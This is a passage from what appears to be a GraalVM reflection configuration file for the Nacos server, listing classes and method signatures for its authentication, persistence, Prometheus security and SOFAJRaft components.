{\"name\":\"hasGlobalAdminRole\",\"parameterTypes\":[\"com.alibaba.nacos.plugin.auth.impl.users.NacosUser\"] }, {\"name\":\"hasGlobalAdminRole\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.authenticate.AuthenticationManagerDelegator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"authenticate\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"authorize\",\"parameterTypes\":[\"com.alibaba.nacos.plugin.auth.api.Permission\",\"com.alibaba.nacos.plugin.auth.impl.users.NacosUser\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"hasGlobalAdminRole\",\"parameterTypes\":[] }, {\"name\":\"hasGlobalAdminRole\",\"parameterTypes\":[\"com.alibaba.nacos.plugin.auth.impl.users.NacosUser\"] }, {\"name\":\"hasGlobalAdminRole\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.authenticate.DefaultAuthenticationManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.authenticate.IAuthenticationManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.configuration.ConditionOnLdapAuth\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.PermissionController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.PermissionController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.PermissionController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.RoleController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.RoleController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.RoleController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.UserController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"login\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"jakarta.servlet.http.HttpServletResponse\",\"jakarta.servlet.http.HttpServletRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.UserController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.controller.UserController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.jwt.NacosJwtPayload\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getExp\",\"parameterTypes\":[] }, {\"name\":\"getSub\",\"parameterTypes\":[] }, {\"name\":\"setExp\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setSub\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.AuthPaginationHelper\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.EmbeddedPermissionPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addPermission\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"deletePermission\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findPermissionsLike4Page\",\"parameterTypes\":[\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getPermissions\",\"parameterTypes\":[\"java.lang.String\",\"int\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.EmbeddedRolePersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addRole\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"deleteRole\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"deleteRole\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findRolesLike4Page\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"findRolesLikeRoleName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getRoles\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"getRolesByUserNameAndRoleName\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.EmbeddedUserPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"createUser\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"deleteUser\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findUserByUsername\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findUserLikeUsername\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findUsersLike4Page\",\"parameterTypes\":[\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getUsers\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\"] }, {\"name\":\"updateUserPassword\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.ExternalPermissionPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addPermission\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"deletePermission\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findPermissionsLike4Page\",\"parameterTypes\":[\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getPermissions\",\"parameterTypes\":[\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.ExternalRolePersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addRole\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"deleteRole\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"deleteRole\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findRolesLike4Page\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"findRolesLikeRoleName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getRoles\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"getRolesByUserNameAndRoleName\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.ExternalUserPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"createUser\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"deleteUser\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findUserByUsername\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findUserLikeUsername\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findUsersLike4Page\",\"parameterTypes\":[\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getUsers\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\"] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"updateUserPassword\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.PermissionInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.PermissionPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.RoleInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.RolePersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.User\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.persistence.UserPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.roles.NacosRoleServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"reload\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.token.TokenManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.token.TokenManagerDelegate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"createToken\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"createToken\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"getAuthentication\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getTokenTtlInSeconds\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getTokenValidityInSeconds\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"parseToken\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"validateToken\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.token.impl.CachedJwtTokenManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"cleanExpiredToken\",\"parameterTypes\":[] }, {\"name\":\"createToken\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"createToken\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"getAuthentication\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getTokenTtlInSeconds\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getTokenValidityInSeconds\",\"parameterTypes\":[] }, {\"name\":\"parseToken\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"validateToken\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.token.impl.CachedJwtTokenManager$TokenEntity\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.token.impl.JwtTokenManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.auth.config.AuthConfigs\"] }, {\"name\":\"createToken\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"createToken\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"getAuthentication\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getTokenTtlInSeconds\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getTokenValidityInSeconds\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"parseToken\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"subscribeType\",\"parameterTypes\":[] }, {\"name\":\"validateToken\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.users.NacosUser\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.users.NacosUserDetailsServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"loadUserByUsername\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"reload\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.config.constants.ConfigChangePointCutTypes\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.config.model.ConfigChangeRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.config.model.ConfigChangeResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.config.spi.ConfigChangePluginService\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.control.connection.response.ConnectionCheckResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.control.tps.response.TpsCheckResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.datasource.mapper.GroupCapacityMapper\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.datasource.mapper.TenantCapacityMapper\"\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.conf.PrometheusSecurityConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"prometheusWebSecurityCustomizer\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.conf.PrometheusSecurityConfiguration$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.conf.PrometheusSecurityConfiguration$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.conf.PrometheusSecurityConfiguration$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.exception.PrometheusApiExceptionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.filter.PrometheusAuthFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"anonymousAuthenticationFilter\",\"parameterTypes\":[] }, {\"name\":\"authorizationFilter\",\"parameterTypes\":[] }, {\"name\":\"basicAuthenticationFilter\",\"parameterTypes\":[\"org.springframework.security.authentication.AuthenticationManager\"] }, {\"name\":\"exceptionTranslationFilter\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.filter.PrometheusAuthFilter$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.filter.PrometheusAuthFilter$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.prometheus.filter.PrometheusAuthFilter$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.sys.env.EnvModuleStateBuilder\"\n},\n{\n  \"name\":\"com.alibaba.nacos.sys.filter.NacosTypeExcludeFilter\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.sys.module.ModuleState\"\n},\n{\n  \"name\":\"com.alibaba.nacos.sys.utils.ApplicationUtils\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.NodeDescribeSignalHandler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.NodeMetricsSignalHandler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.ThreadPoolMetricsSignalHandler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.core.DefaultJRaftServiceFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.core.NodeImpl.NodeReadWriteLock\"\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.LocalFileMetaOutter$LocalFileMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.LocalStorageOutter$ConfigurationPBMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.LocalStorageOutter$LocalSnapshotPbMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.LocalStorageOutter$LogPBMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.LocalStorageOutter$StablePBMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"getVotedfor\",\"parameterTypes\":[] }, {\"name\":\"getVotedforBytes\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"hasVotedfor\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.LocalStorageOutter$StablePBMeta$Builder\",\n  \"methods\":[{\"name\":\"clearTerm\",\"parameterTypes\":[] }, {\"name\":\"clearVotedfor\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"getVotedfor\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"hasVotedfor\",\"parameterTypes\":[] }, {\"name\":\"setTerm\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setVotedfor\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setVotedforBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.RaftOutter$EntryMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.RaftOutter$SnapshotMeta\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getLastIncludedIndex\",\"parameterTypes\":[] }, {\"name\":\"getLastIncludedTerm\",\"parameterTypes\":[] }, {\"name\":\"getLearners\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getLearnersCount\",\"parameterTypes\":[] }, {\"name\":\"getLearnersList\",\"parameterTypes\":[] }, {\"name\":\"getOldLearners\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getOldLearnersCount\",\"parameterTypes\":[] }, {\"name\":\"getOldLearnersList\",\"parameterTypes\":[] }, {\"name\":\"getOldPeers\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getOldPeersCount\",\"parameterTypes\":[] }, {\"name\":\"getOldPeersList\",\"parameterTypes\":[] }, {\"name\":\"getPeers\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getPeersCount\",\"parameterTypes\":[] }, {\"name\":\"getPeersList\",\"parameterTypes\":[] }, {\"name\":\"hasLastIncludedIndex\",\"parameterTypes\":[] }, {\"name\":\"hasLastIncludedTerm\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.RaftOutter$SnapshotMeta$Builder\",\n  \"methods\":[{\"name\":\"addLearners\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"addOldLearners\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"addOldPeers\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"addPeers\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"clearLastIncludedIndex\",\"parameterTypes\":[] }, {\"name\":\"clearLastIncludedTerm\",\"parameterTypes\":[] }, {\"name\":\"clearLearners\",\"parameterTypes\":[] }, {\"name\":\"clearOldLearners\",\"parameterTypes\":[] }, {\"name\":\"clearOldPeers\",\"parameterTypes\":[] }, {\"name\":\"clearPeers\",\"parameterTypes\":[] }, {\"name\":\"getLastIncludedIndex\",\"parameterTypes\":[] }, {\"name\":\"getLastIncludedTerm\",\"parameterTypes\":[] }, {\"name\":\"getLearners\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getLearnersCount\",\"parameterTypes\":[] }, {\"name\":\"getLearnersList\",\"parameterTypes\":[] }, {\"name\":\"getOldLearners\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getOldLearnersCount\",\"parameterTypes\":[] }, {\"name\":\"getOldLearnersList\",\"parameterTypes\":[] }, {\"name\":\"getOldPeers\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getOldPeersCount\",\"parameterTypes\":[] }, {\"name\":\"getOldPeersList\",\"parameterTypes\":[] }, {\"name\":\"getPeers\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getPeersCount\",\"parameterTypes\":[] }, {\"name\":\"getPeersList\",\"parameterTypes\":[] }, {\"name\":\"hasLastIncludedIndex\",\"parameterTypes\":[] }, {\"name\":\"hasLastIncludedTerm\",\"parameterTypes\":[] }, {\"name\":\"setLastIncludedIndex\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setLastIncludedTerm\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setLearners\",\"parameterTypes\":[\"int\",\"java.lang.String\"] }, {\"name\":\"setOldLearners\",\"parameterTypes\":[\"int\",\"java.lang.String\"] }, {\"name\":\"setOldPeers\",\"parameterTypes\":[\"int\",\"java.lang.String\"] }, {\"name\":\"setPeers\",\"parameterTypes\":[\"int\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.entity.codec.v2.LogOutter$PBLogEntry\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$AddLearnersRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$AddPeerRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$AddPeerResponse\",\n  